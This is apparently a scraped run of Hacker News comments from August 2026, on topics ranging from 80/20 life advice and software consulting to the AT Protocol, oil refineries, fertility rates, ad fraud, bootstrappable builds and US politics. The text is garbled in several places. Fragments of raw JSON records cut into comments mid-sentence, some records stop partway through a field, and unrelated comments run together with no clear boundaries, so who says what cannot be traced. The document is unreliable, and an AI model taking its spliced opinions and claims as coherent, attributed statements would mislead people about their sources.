A lesson I wish I had learned at your age: for most things in life, B– quality or "80% of the perfect performance/solution" is almost always more than enough, and can be accomplished quickly. (E.g., it's easy and fast to sweep the floor so that it's mostly clean / 80% of optimal cleanliness. You feel better about your surroundings, you clear your head, and fewer future problems arise.) This is the 80/20 principle at work. Get to 80% on everything fast, and then only spend time polishing/perfecting what really matters. (I was raised in a perfectionist family/environment/culture — to my detriment, in many ways.) Similarly, it's OK (and probably beneficial) to do most of your workout sessions (~80%!) at 80% effort. You don't need to go HAM / 6th gear all the time.
Learn that questions are often more important than answers. And learn to ask better questions.
Learn basic probability and expected value, and apply those principles to your own daily life. It's easy to do several times a day in normal situations.
Learn to take (and avoid) repeated, small actions in order to put yourself in a slightly better position with regard to your future. (Increase your optionality; take repeated beneficial actions.) Pick up that dirty cup on your way to the kitchen. Don't drink two beers every day. Don't smoke.
Ask yourself: "If I do (or avoid doing) this same thing 1,000 times (or days) in a row, where will I end up?" (That helps you develop consistency and the habit of repeated actions/practice, and it magnifies the effects of your daily choices.)
Remind yourself: "What I do today, I do every day. What I do now, I choose to do every time I have the choice."
Read real books, not Internet stuff. Read particularly from (long) before 2022 (avoid LLM-generated text). Read as much as you can and develop a maintainable note-taking system.
Learn other languages and read the greatest books from other countries, cultures, and eras.
Taleb's general rule is not to read anything written in the last 10 years. Take that with a grain of salt.
On reading (and not reading) books in general, and in a meta-reading sense, I strongly urge you to read How to Read a Book (by Adler & Doren) and How to Talk About Books You Haven't Read (by Pierre Bayard).
You'll also find no shortage of suggested reading and lists of books of all sorts here on HN.
Daily exercise, good eating, sleep, hygiene, and overall mental health and self-care are table stakes. Personally, I've found that my optimal amount of physical activity is much higher than one would think: 2–3 hours per day, 5–6 days per week. (That's my experience, not a prescription for you.) Taking care of myself has required life- and work-organization choices and sacrifices to make it happen. Everything is about trade-offs.
The most important thing is that it's better to consistently practice implementing a single piece of advice than to collect or merely think about or imagine implementing lists of advice.

Have stuck around since then because the work is compelling and to some degree I’ve shaped the engineering org into what I want it to be, even though we’ve hired people above me (it’s kind of neat and weird hiring your own manager so that you no longer report direct to the CEO)
Anyway, as far as I can tell, the engineering teams that I was paid to help, I believe, generally loved me. The work I’d do generally fell into one of three buckets:
- early-stage prototyping work, where there was no engineering team yet and I was laying the foundation for v1 of a product
- modernization work, where a company has a product line that’s sitting generating revenue but there’s no engineering capacity to actually make v2. This was often more on the embedded side but occasionally stuff like pre-ARC Objective C -> Swift. Everyone’s too busy working on some other thing and the good-but-crusty product is starting to die due to lack of attention
- rescue work, where the engineering organization (management + ICs) have gotten themselves into a situation they’ve realized they can’t get themselves out of on their own. Often performance, scaling, or velocity-related, almost always with an element of pathological engineering culture.
The first two cases aren’t as relevant, but the third type was always a hearts & minds campaign. The outcome was two-fold: fix the software, fix the team.
First step: take the team out for lunch without their manager. To the loathing comment above, not everyone would take me up on the offer, but I could usually get enough of a critical mass together. Two objectives: convince them that I do not, under any circumstances, want to work with them long-term; convince them that I was on their side. Get them talking about what’s wrong, ostensibly about the product, but this would frequently pivot to the structural organizational problems that led to the product being how it was.
From there, put together two plans. Plan 1 was for how to tackle the software problem. Plan 2 was how to fix the engineering org. Typical situation was they had some ideas on the first part and LOTS to say about the second part. The connection between the two was they often had a good high-level idea about how to fix the software but didn’t have the specific skill to do the fix and didn’t have time to learn.
Then I’d start working both problems in parallel: knock out a quick win on the software side, do a lunch & learn with the team and their manager to explain what I’ve done, what tools I used if I used anything exotic, discuss next steps, and discuss whether someone else on the team wants to work together on the next thing. Meanwhile, I’m watching the team (incl. management) and the complaints that I got from them over lunch and while working with them. Looking to see which of those complaints I can see in the day-to-day work environment and who to… blame isn’t the right word, but figuring out who I need to nudge in which direction to make the problems that led to my involvement go away.
This usually went through a few iteration loops but I was always clear to everyone involved that my goal was for the team to not need me anymore. That was the outcome: problem solved, team can solve the same kinds of problems on their own without me. I’m available if you ever need to hire me again, I’m here if you get stuck on something tactical and can help out for a few days here and there.
If my goal was to get fired, how do I know that I did good? Direct feedback from ICs was one way. I smoked a fair bit back then and the number of times I had people come up to me outside during a coffee/smoke break and just say “hey man, I really appreciate what you’re doing here, I’ve learned a lot about ____”. The other one: referrals. Maybe 20% of the work was inbound LinkedIn cold calls, while the other 80% was referrals from existing clients (or callbacks) with about a 50-50 mix of that being management or IC referrals.

Can you type the AT URI of a resource into the browser and have it open? I do not believe you can. So if I want to publish HTML content I now need both my regular web server and an AT PDS running on my server. There exists, as far as I'm aware, no application that can view HTML hosted on the AT network so I have to produce all of my blog posts in an agnostic format or publish them to no one, or I can use one of the services that automatically posts a link to that HTML as a BSky post. So you have all of that architecture and what it accomplishes is posting a link to content hosted elsewhere.
Why, instead of creating an indexer that works with existing formats, did they choose to create one intentionally incompatible with 99.999% of web content? Because in practice it's not a web protocol, it's not a serious thing. It's just a whole bunch of bullshit for nerds to make blog posts about that serves as the back end of a Twitter clone. It is standards proliferation. It adds nothing and fragments existing efforts. Instead of contributing to the web ecosystem, it subtracts from it. It breaks the important rules of software development, to do one thing and do it well, to use existing solutions. Everything it does is duplicated, there's a new way to sign documents, a new way to host content, a new data format, a new exchange protocol, a new way to serve documents, a new way to send notifications, etc. It's not a tenable way of doing things. If every person looking to make a web indexer created an entire separate web ecosystem, that would not be sustainable. They're clearly not intending to replace the Web, so what are they doing? It's just a complicated way to store tweets.

How many paid auth providers let you export user password hashes so that you can seamlessly migrate to another vendor, if you want to?
The whole problem with auth is that both (a) login screens are shown to unauthenticated users, which is a superset that includes attackers, who will do everything from DDoS to crafted malicious input to try to grab user secrets, so you really want to pick something that is already running at large production scale and with all the production battle-scars, and (b) that need to go with a managed vendor is very much in tension against local development, vendor independence, data portability, and other Good Engineering Practices (TM).
Sure, AWS Cognito sucks. In many ways, the product feels stuck. Making compromises to get stuff shipped, working, and stable sucks.

Very common to find pitch shifted audio getting resold on Unity store or web, images/3D with intact watermarks/meta-data, and scraped shader code. If you are credulous enough to buy files from a shady online seller, the copyright/trademark liability almost always falls on the person that publishes the IP. You can do everything above board, and still get sued as other license holders may register the asset signature with anti-piracy/YT bots.
For example, you could buy BBC/NBC/Sony libraries off ebay/web for a few bucks, but they will 100% still sue you into bankruptcy if you ever publish content with their media IP.
"AI" vector search can produce similar results of existing scraped works, and almost every LLM knows Disney Mickey Mouse. How LLM are trained means isomorphic plagiarism will occur regardless of data granularity. Just like how mp3 were a lousy highly compressed version of CD audio, the output does not have to be a verbatim copy to trip copyright and trademark IP laws.
Isomorphic plagiarism becomes less obfuscated when compiled into standard executable code. However, some firms actually used human session chat admins for data labeling/edits.

The next big market is actually replacement plants in the USA and Europe. Electricity generation may have peaked there, but much of the generating capacity is decades old and needs replacement. There are a lot of smaller facilities that are not gigawatt-scale that need to shut down, and it's easier to plug that gap with SMRs.
South and Central America are small markets, but they won't be ignored. There is a lot of complexity here with the inter-national hydro projects and broken up grids, so I'm sure some countries will look into SMRs.
Africa unfortunately just doesn't factor in except as a long-term possibility for growth. It's only 3% of electricity generation now, and its share will probably fall as Asia electrifies.
This is all worst-case scenario where SMRs are less financially competitive than current gigawatt-scale designs.

They charge you 25% for each sale you do via their platform, but the latest thing they did was to force you to "identify" you are you via a website where they track your face features and scan your ID "because of security". Yeah, that sounds good, so I did that in 2021.
They asked this again last year because of reasons. But this time they won't let you use a regular web browser: they forced you to do this via their app. No matter how much you try, it will always fail citing "compatibility issues" or "errors". I tried to complain but their customer support is incredibly shitty, if you even manage how to find to contact them.
But oh surprise, their "app" is just a web wrapper.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478856"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T14:17:27Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49478857", "item_id": 49478857, "kids": [], "parent": 49478686, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478857"} {"by": "bluedino", "comments": 0, "created_at_utc": "2026-08-28T14:17:30Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478858", "item_id": 49478858, "kids": [], "parent": 49478665, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I took a picture of my keychain tag, set the date of it to my membership expiration date, and then scan that picture my phone when I go in", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478858"} {"by": "IAmBroom", "comments": 0, "created_at_utc": "2026-08-28T14:17:34Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478859", "item_id": 49478859, "kids": [], "parent": 49444570, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Then they expressed themselves very poorly.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478859"} {"by": "kappi", "comments": 0, "created_at_utc": "2026-08-28T14:17:45Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478860", "item_id": 49478860, "kids": [], "parent": 49469134, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "https://x.com/USLaborIG/status/2092719692741755140\nAnkit Gupta thinks hiring Americans first—in America—is “DEI.”

My memory of the 2010s is that Google (and while they were relevant, Palm) pushed cross-platform web apps, but Apple ran a successful marketing campaign to convince everyone that everything on mobile must be a native app for reasons[1]. So we end up with a walled garden of native apps that must be approved by and pay a tax to the company that makes the OS.
The result is that instead of building one app that works on all platforms, software companies need to build three apps: Web, iOS, and Android. I'm sympathetic to why most software companies (including my own) choose to just build a web app wrapped in a native wrapper. If a company does decide to build a totally separate iOS app, I dunno, it seems reasonable not to build support for every single niche feature that the web app has. I'm not sure I get the outrage here, especially since Google has a long track record of preferring web apps to native.
[1]The "reasons" primarily are that Apple refused to support PWAs, hamstrung mobile Safari, and refused to allow third-party browsers.

What a time to be a designer who can build & sell on the internet.
More stats:
- Floors claimed: 54
- Total sales in 24 hrs: $754
- Visitors since launch (and counting): 12,0001
- Visitors from 112 countries: top 5: US (20.9%), India (16%), France (11.3%), UK (3.5%), Germany (2.8%), & rest of the world

Me too, but you and are very lucky.
In my case I have uneven capabilities, but my worst functions are still average and my best are very high. It's far more common for the best capabilities to be average and the worst to be far below. It's like one of those character creation screens in a game where you get to distribute skill points and someone hit 'random'. I got lucky and there were plenty of points to distribute randomly. Most seem to have had fewer to start with.

I looked it up before I made that post yesterday. It's pretty current, unfortunately. There is a ton of variation regionally, and there are different definitions, etc... Like all statistics it's more complicated than the headline, but the TLDR is that globally the diagnosed adult population averages around that number and it's literally one of the worst forms of disability to have as far as employment goes.

You have that OS kernel or UEFI as source code, but you don't know if the source code contains a backdoor unless you either verify it manually, or have it verified and signed in some way by a third party you trust, and there the whole signature thing comes back.

That's simply not true. Yes, there are volcanoes at mid-ocean ridges, but subduction zones also have plenty of activity.
https://en.wikipedia.org/wiki/Mud_volcano
"There are 10 active mud volcanoes in the Izu–Bonin–Mariana Arc which can be found along a north to south trend, parallel to the Mariana trench.[43] The material erupted at these mud volcanoes consists primarily of blue and green serpentinite mud which contains fresh and serpentinized peridotite material from the subduction channel. Fluid from the descending Pacific Plate is released by dehydration and alteration of rocks and sediment."
https://en.wikipedia.org/wiki/Volcanic_arc
(for description of how subduction zones create magmatic volcanoes)
Subducted material is very wet, and as it descends the volatiles ascend to melt the rock above, creating magma (water reduces the melting point of rocks just like it reduces the melting point of sugar.)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479058"} {"by": "rc_mob", "comments": 0, "created_at_utc": "2026-08-28T14:29:34Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479059", "item_id": 49479059, "kids": [], "parent": 49478630, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "70 years of very successful propaganda techniques.

That's entirely reasonable but for you or anyone else to get such a job, two things are required: you need to have the capability (knowledge/experience/skills) to fill an open role and a prospective employer needs to offer you compensation that you're willing to accept for filling it.
> Where do you want me to move? What job do you want me to take?
I don't want you to do anything. If you want a job, don't you have to figure out what you can do and where you can go to find one? I'm not going to suggest it's always easy, because it's not, but if you can't find a job that can pay a wage that meets your needs and expectations, don't you have to look at what you can offer and/or where you can go to find such a job?
What is the alternative?
> Do I deserve less, more, just enough?
How would I be able to answer that? What you actually get in today's market is a function of many things, including the skills and experience you have, where you live, the demand for what you can offer versus supply, etc.
> What more do you want to take from me?
Please explain how I have taken anything from you.
> Why do I have to listen to you about that?
You don't have to listen to me about anything. I'm not a prospective employer, and I'm not a politician creating immigration policy.
> You have _no_ clue what you are talking about.
With all due respect, you don't know anything about the personal situation of anyone you interact with online. You started your reply out with a discussion of your difficult experience, and while I empathize with your experience and think it's indicative of America's problematic economy, it doesn't make you uniquely qualified to tell other people that they don't know anything.
Demographics are real. Immigration is a given in developed countries with aging populations. The idea that there's ever going to be a way to guarantee every native-born American (or Canadian, or European, etc.) a job before an immigrant gets a job is just fantasy.
There are many problems in today's labor markets. Youth unemployment. Underemployment. Wages that haven't kept up with inflation. The cost of living crisis. But salaries just aren't going to grow without limit until employers find a native-born American to do the job. It doesn't work that way and it never has.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479127"} {"by": "canucker2016", "comments": 0, "created_at_utc": "2026-08-28T14:33:37Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479128", "item_id": 49479128, "kids": [], "parent": 49475442, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I believe this is the video - around 50:00 into the video - https://www.youtube.com/watch?v=48Rig6v-xYU&t=3000s", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479128"} {"by": "Philpax", "comments": 0, "created_at_utc": "2026-08-28T14:33:39Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479129", "item_id": 49479129, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 6, "text": null, "title": "zai-Org/GLM-5.3", "type": "story", "url": "https://huggingface.co/zai-org/GLM-5.3"} {"by": "handbanana_", "comments": 0, "created_at_utc": "2026-08-28T14:33:43Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479130", "item_id": 49479130, "kids": [49479226, 49479277, 49479265], "parent": 49478730, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Upgrades to SSD, thinks the OS made it faster.

Correct. The problem isn't just data centers or power or water, it's that left unchecked these greedy people will risk the power grid, drain rivers/reservoirs/aquifers, and destroy our natural environment (and cities) with pollution because it's more profitable than doing things the right way. I think more than anything we want responsible, friendly neighbors who are mindful of the impact they have in the areas where they operate.
They're callous, reckless, have no concern for anything but their money. And "self-funded" isn't even true, the tax breaks and negative externalities of these data centers will be paid by the people (see: xAI and Memphis.)

60% of my time spending on windows is wasted in refreshing/slowstartup/installing bloat and updates/.
Clicking next > next etc multiple time just to install one software.
Winget is not upto mark like apt and other unix package managers. As soon as i install chocolatey or 3rd party it starts to stall even more
Initially i formatted whole installed fresh no external or extra software just bare bone fresh win 10 install
Yet its slow as turtle. And windows standard installation iso is 5gb multi iso. So it waste a lot of my bandwidth. Plus it does'nt let iso download on desktop browser. And only with phone useragent you get downloadable link, and phone doesnt have much space to store 5gb file\nCherry on top even if i download 5gb file on phone i cannot transfer it to pc as standard usb is limited to 4GB per file. So i had to install additional ssh or feem or other software for wireless transfer. Or had to use non standard browser on phone to capture download link copy it to pc and downlod.
Even after that creating unattended installation is mess and require ntlite or other and hours of waste. And now newer isos despite adding ei.cfg and pid.txt the version selection menu does not appear it enforces installation of win10 home the native laptop was bought with. So hours wasting to upgrade it to pro.
So finally this year i decided to move to linux. Keeping window as secondary. But could noy decide due to myriad of varieties.

[My note: this is less than 10 years away]
I used to think "We're never going to run out of oil, meaning we'll never move off of it." and I was mistaken. After more research, I've come to the conclusion that while we might never run out of oil, refinery capacity will only decline into the future, creating supply chain death spirals over time in various parts of the system. If you want to end the use of fossil fuels, refineries are the weakest link in the chain. No new ones will be built due to the risk of stranded capital and the time to build them considering the forward global oil demand trajectory. [My note: China destroys 1M barrels of daily global oil demand for every 24 months they produce EVs, at current run rates, and has enough EV manufacturing capacity for global demand]
TLDR If rich people are going to burn petroleum instead of biodiesel (used vegetable oil for diesel like engine use cases) or alcohol (top fuel dragsters), good luck refining it yourself or importing it.

My argument is that we don't have that capacity. The system that we have is what we have because it's what has self-assembled and would self-assemble every time if we ran it again.
I may be wrong, but that's what I'm claiming.
If we want a system different than what self-assembles, we should first admit what self-assembles, and admit it's not because of individuals not doing their part or whatever. The system is the way it is because the natural laws it follows lead it to that state. This is where the whole idea of coordination as a simple answer fails.
People won't spontaneously all accept an unappealing, morally unpleasant, complicated explanation of why things aren't better when a simple, pleasant, satisfying, even righteous explanation is available and fits their preexisting worldview.
I am tired of the moralizing arguments[0] from people sabotaging their own causes, blaming people who are doing something that might work instead of sabotaging harder. If I misunderstood and that's not you, I'm sorry.
I should have been less snippy at the top either way.

Almost all concrete english-language info I can find about microdramas is astroturfed to hell by consultants and "independent" industry publications. Wikipedia's citations for 2025 revenue are 'Reel Reel' and 'Duanju News'. Neither cite their source, though they are likely just regurgitating predictions from Omdia, a media consultancy.
> Real Reel™ works with companies across entertainment, technology and the creator economy to build relevant industry conversations around mobile-first storytelling.
Duanju News is published by 'Studio Phocéen', who run their own microdrama production house.
The Omdia revenue estimates, which is where the projected $14 billion comes from, are completely unsubstantiated as far as I can tell. They even go so far as to make "according to new research" a link that when followed sends you to their generic "/advance-your-business/media-and-entertainment" sales pitch.

A sensible look at things, is that every single country on the planet, has a fertility problem. Almost every single country has a below-replacement birth rate now.
It doesn't matter whether it's a highly populated nation or not, an aged population or not. What the culture is, the religion, access to birth control, health care, income. For example, some places don't really use cars, think The Netherlands as a Western example, or poor agrarian nations.
The culture of Japan is very Western centric, yet also as far from any Western culture you can get. EG, high-tech, cities, cars, the trappings of "modern life", yet a culture entirely unique, wrapped in strong levels of duty, and with a different culture for woman.
Iran has a birth rate problem. A very rigidly controlled, religious nation, where women really have no say. Where people are paid to have kids, like many Western and other nations.
If you think "car seats" have anything to do with child rearing in much of the world, you're completely, US-culture out of touch. And further to that, my point is that every single culture, and whether rural farmers or people living it cities, it does not matter.
So whatever reason you want to give? Cost? Car seats? Contraceptive? Women's rights? Woke or not woke? Religion? Culture? Finances? None of it makes one iota of difference. None of it. Whether a poor or rich country? Nope, doesn't matter.
It's none of those things. Not a one.
If it was, then it wouldn't be all nations with a collapsing birth rate.

The purpose of developing this header audit tool was to answer the question:
"How do you explain the difference between an HTML header and an HTTP header to bored students who would rather watch YouTube videos (or worse) or prepare a salad at their desks during mandatory lectures?"
The answer was to get them involved. Since all students have internet access, everyone can examine a page of their choice, followed by a discussion of the results.
The audit tool is part of a more comprehensive, non-commercial framework called ScrapTrap ( https://www.scraptrap.de ), which was designed according to social informatics principles and primarily serves in practice for bot defense and anti-scraping, but is also conceived as a teaching and research tool.
It also serves to illustrate attacks and their defense (some examples can be found at the bottom of the aforementioned page).

Think of bootstrapable builds as a hedge against tyranny.
Is it likely that a future regime could come into being that would be backdooring FLOSS builds and undermining confidence in the entire ecosystem? Not at all likely, as this requires a purge of all the install/boot media already out there.
Though after the passage of decades, the chain of custody starts to weaken. Maybe I'll still believe in the magic of the CD in my retro closet with the three humans holding hands in a circle, but in an environment where children are told to report the thoughtcrimes of their elders, how can my nephews and nieces in turn trust me and my testimony that my copy is the "good stuff" from "the before times".
This is all very far fetched sci-fi material, but think in terms of tail risk, low probability multiplied by a high cost if comes to pass.
Perhaps a regime horrible enough to break FLOSS would be horrible enough to purge all legacy hardware and software sitting in closets, but I do think it is easier to mess up the internet and the social fabric than it is to do house to house cleanouts.
Maybe messing around with untainted FLOSS will be too dangerous in such an environment anyway, but if we can assume a state of liberty eventually returns, having a great bootstrap ready to go can help rebuild society, cyberspace, and trust on an accelerated basis.
All of this hinges on people actually auditing source code, though once you've read enough bootstrapped source to have confidence in the generation of checksums you can at least start to fall back on a social consensus as to the safety of additional source archives that have known checksums and from there also digital signatures once you've built the tools for validating those.
When it comes to "trust, but verify" of other people's source code, there is a new tool in the toolbox: large language models have demonstrated some considerable audit value. Of course almost nobody is training their own models and it's only a slightly larger circle that does inference on their own hardware or attested remote hardware, but all of this is at least something that can increase confidence when working from other folks source code.
-------
As far fetched as full on cyber tyranny sounds, its worth remembering that in North Korea this is actually reality. Folks do not have access to the internet and are handed the state built binary of Red Star OS.
The ballooning of flash drives containing western media is still a thing despite attempts to stop it.
It is unlikely that anyone will ever send in a software bootstrap, that it will get in the hands of someone who can understand it, have the time to read it and build it.
But the scenario does make us think about the value of bootstrapable FLOSS as a tyranny hedge.
Without real internet access, what good does having some freedom on a computer even do? I suppose one can keep a diary encrypted, though possessing an encrypted file is probably more of a liability than any value it provides. Someone may also find encryption helpful for friend to friend networks by sneakernet, though the downsides are considerable.
Someway, somehow the regime may fall. After decades of not trusting the outside world and being governed by a hostile state, perhaps there will be at least one deeply computer literate person to emerge from that place who will appreciate being able to bootstrap their own personal cyber citadel.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479383"} {"by": "alkonaut", "comments": 0, "created_at_utc": "2026-08-28T14:50:14Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479384", "item_id": 49479384, "kids": [49479563], "parent": 49477600, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I don't mind apps, even apps that are basically just browsers showing a web site.\nThe biggest reason is that apps, at least on iOS, just behaves better.

Have you considered whether these might be coincidental, not causative, and that the Bretton Woods system is largely responsible for this? Leading by example and through persuasion and making friends tends to be much more effective than building armies and making implied threats, dangling a Sword of Damocles over the world. (Case in point: the U.S. has never been able to bring Afghanistan, North Korea, or Iran into the fold, and keeps holding to the same failing strategies regarding these nations despite their persistent ineffectiveness.)

Nearly entirely fraudulent. Every person in the supply chain for open web display inventory, sometimes even including the Chief Marketing Officer of the firm purchasing the ads, is incentivized to turn a blind eye to fraudulent impressions. Fraud is ultimately paid for by shareholders and owners.
This is because everyone in the supply chain is paid per impression, so they don't have any real incentive to root out (or even discover/report) fraud unless the buyer is leaning on them to do so. An unsophisticated firm looking primarily at reach and impressions as key performance indicators sees those KPIs inflated by fraudulent impressions, so even the purchaser isn't really incentivized to discover fraud in those instances. And if you suddenly decide you do care about fraud after not caring about it previously, you're faced with the prospect of having to report to your stakeholders that the metrics you've been giving them have been bullshit for years.
If you're looking at conversions as your key performance indicator then you do care about fraud and will lean on your ad buyer to discover and reduce it, or else just avoid open web display inventory entirely and buy exclusively on platform properties like LinkedIn or Instagram.
There have been various efforts to reduce fraud for a long, long time. Obviously nothing so far has really comprehensively worked. But there are some people in the industry who do make their money and earn their reputations as fraud-fighters, and they continue pushing new solutions. If the fraud problem for open web display inventory could actually be solved it would probably result in a bonanza for anyone positioned to capitalize on a fraud-free supply chain, so some people are incentivized to chase the dream (or at least convince others that they're earnestly chasing the dream).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479422"} {"by": "CodePapi_", "comments": 0, "created_at_utc": "2026-08-28T14:52:14Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479423", "item_id": 49479423, "kids": [], "parent": 49477031, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "A lot of you experienced issues with payment, We are really sorry, but it has been fixed

[...] What we have not yet seen is an AI developing a substantial new conceptual framework in order to solve a mathematical problem. Much of mathematics proceeds by identifying the objects that are truly central to a question and then developing a theory that helps us understand them. Current AIs are very strong at searching and recombining existing ideas, but they are weak at building any deep and sustained new theory. [...] This speaks to a more general limitation of current AI systems [... W]hile they have larger working memories than humans do, know more about more different things than any particular human does, and can process information faster than humans, can, true novelty is still largely beyond their reach. // Of course, that distinction may not survive for very long.

We are not seeing enough interest on what makes those capabilities emerge. It looks like the exploitation of a natural resource - technology oriented towards extraction - instead of exploiting the occasion towards scientific progress. Which is what would drive surpassing the current limitations.

I can relate to the feeling when missing a dose. No tolerance for being forgetful. Lots of anxiety brought by this tether... and the permanent anorgasmia (in my case) is sad but I was dying...
Sadly I built tolerance over 2 years and had to stop, taper off (horrible experience) and try others (most that were cited in this comment section). All had painful and very annoying side effects and tapering was a pain after trying and each time feeling so disappointed and tired. Most worked on reducing ideation but the costs (inability to concentrate, brain fog, sometimes inability to work) were too high.
Turns out tolerance to venlafaxine ebbs out after some time, so after a moment I was able to restart for a year until I didn't need antidepressants anymore.

The alternatives we found meant either storing our notes somewhere else, having uncomfortable collaboration, or passing through someone else's server.
Marktwin is a space to edit the files already in your repository, shared peer-to-peer. You can write Markdown, use a canvas, draw, discuss and review changes before syncing them back to GitHub.
Everything available on marktwin.com is free for now, and we hope to keep it like that.

He just hit on some good business ideas by making it feel trendy and elite with the whole university only invite only stuff, ideas Google would go on to copy with Gmail.
In any case though I'm not here to argue that Zuckerberg is some amazing person. But the GP up in this thread wanted to know what was going on Zuckerberg's head, and most people are seemingly incapable of understanding how other's perceive the world without resorting to cartoonish child-like caricatures of villainy. I blame a failing education system that demonizes the past rather than teaching to understand how easy it is to find yourself in the shoes of the villain.
And on that note I think most people would probably end up acting similar to Zuckerberg in his shoes right now. By now he probably loathes social media and its users. But he's also probably unable to give it up simply because it makes billions of dollars, and his other ventures are mostly failures.

I still find that one wild.
When I commuted I wore full high viz motorcycle specific textiles (jacket/trousers), proper boots and a helmet with the highest safety rating (on the SHARP system), as with everything in life you can mitigate the risk (in the case of a motorcyle by riding sensibly and appropriate equipment), you can't remove it and riding a motorcycle is inherently more risky compared to other forms of commuting not least because you are sharing the road with much bigger/much heavier vehicles and you are rare enough that a lot of drivers just don't consider Motorcyles - hell one of our road safety campaigns literally had the slogan "Think! Bike".
Never had an off (riding on the road, many times offroad but that's different), had two near misses - one was sand/crap on the road and the front end started to go and the other was a lady pulling straight out into the road from a blind exit (literally a hole in the wall completely blocking her view), I'd gone past that many times on the way home from work and I always slowed down because I'd flagged it as a "yeah, that's just dangerous" so I had time to stop just, she was very apologetic but that wouldn't have helped me much after I'd ploughed into and over her car.
I enjoyed riding motorcycles but they were always fundamentally a tool to me to get from A to B, my friends who ride strictly for pleasure and much less safely have way more crashes (in one case one of them wrote off two bikes in six weeks...).

So the leap is: an old survey form says "sale of electric energy primarily for use by the public," therefore anything not grid-connected isn't a sale to the public.
No assessment of prior practice, history, the plain meaning of the statute, or other statutory exemptions. And there are grid-connected plants serving a single customer so why the distinction?
Why the 1990 form? Congress froze it into the statute so a survey agency couldn't rewrite Clean Air Act coverage by editing a questionnaire. EPA is now exploiting that freeze by treating the form's obsolete boilerplate as substantive law; a taxonomy EIA itself abandoned, since modern EIA-860 covers essentially all generators above 1 MW, grid or not.

Due to some decisions made to protect """free speech""" - specifically, the free speech of moneybag men - capital interests are free to puppet our two parties around with abandon. The DNC in particular saw the new fundraising environment as an opportunity to completely sell out and ignore voters, and they're now hilariously unpopular with their own base despite being nominally in opposition to one of the least popular presidents of all time.
The environment this creates is one in which electoral politics is less than useless: it is actively harmful to the exercise of power on behalf of the people. We are actually seeing unusually high levels of activism in this country, and we actually do have a lot of issues with bipartisan support from voters. People don't want data centers built in their backyard, they don't want Flock building a private Stasi, they want the child rapists running our country to be brought to justice, they want right-to-repair, etc. But all of those issues are also antipartisan: they have bipartisan opposition from politicians, because they all imperil the funding sources you need in order to get into office. Compare the things MAGA people are saying to the things Trump is saying and you'll see the split.
I think you might have also mischaracterized the ruling. The Pentagon is still allowed to sanction supply chain risks, it just has to provide an actual reason for doing so. The Trump administration (really, just Pete Hegseth) tried to sanction Anthropic with no evidence. The actual reason was simple and straightforward: Anthropic had principles other than "doing what Pete Hegseth wanted" and everyone in this administration demands absolute and unfettered loyalty.

The Bitter Lesson is about general-purpose algorithms vs. specialized algorithms. Historically, chess engines were programmed to look at a chess position and use positional understanding (imparted by the human programmers) to decide what the best move is. But eventually, the chess engines that actually became stronger than humans were instead programmed to just check every possible move and countermove and see which ones lead to a win. (I'm oversimplifying, but you get the point.) So even before Stockfish contained a neural network, it was considered an example of the success of the Bitter Lesson.
As it applies to AI agents, the Bitter Lesson would predict that the best possible agent would simply possess A) a way to do anything it wants, B) a way to evaluate whether what it did was correct, and C) a ton of compute. Then just turn it loose on your task. (The fact that the "brain" of the agent is an LLM is kind of irrelevant - you could also imagine the brain just being a program that generates random syntactically-correct code. What the LLM achieves is that, the random generator would take millions of years whereas the LLM is much more efficient at creating plausibly-working code. This is analogous to a chess engine's pruning heuristics.)
The hard part here is B. We've seen some great agentic successes when rewriting an existing project in a new language, since the agent can just use the project's prior test suite as its evaluator. But when developing a new project, you're still figuring out the finer details of how everything is supposed to work. As the old saying goes - writing a spec that perfectly describes how a program should work, is equivalent effort to just writing the program.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49479620"} {"by": "Schlagbohrer", "comments": 0, "created_at_utc": "2026-08-28T15:03:27Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49479621", "item_id": 49479621, "kids": [49485740], "parent": 49478091, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "This is so weird because AI should be good at updating the docs.

Treating the hard working and generally cool people that come to the US as being in the same boat as all us humans but bringing interestingly different solutions for how to conduct our affairs is not cultural relativism, it's being realistic and open to the goodness of creation, to seeing each person as bearing the image of God in my own religion's terms.
Seeing the current crop of immigrants as being lazy, criminal, disease ridden or a source of decline in the quality of life for the people in the US is xenophobia, it is irrational and not-truth based.
Prefer whatever you prefer, that's the bed rock of a free society, and welcome the people who value freedom and hard work so much they have fought to join your country. Or you condemn your country to a period of diminishment, superstition and other forms of backwardness.
> The countries that most immigrants come from treat that principle as axiomatic.
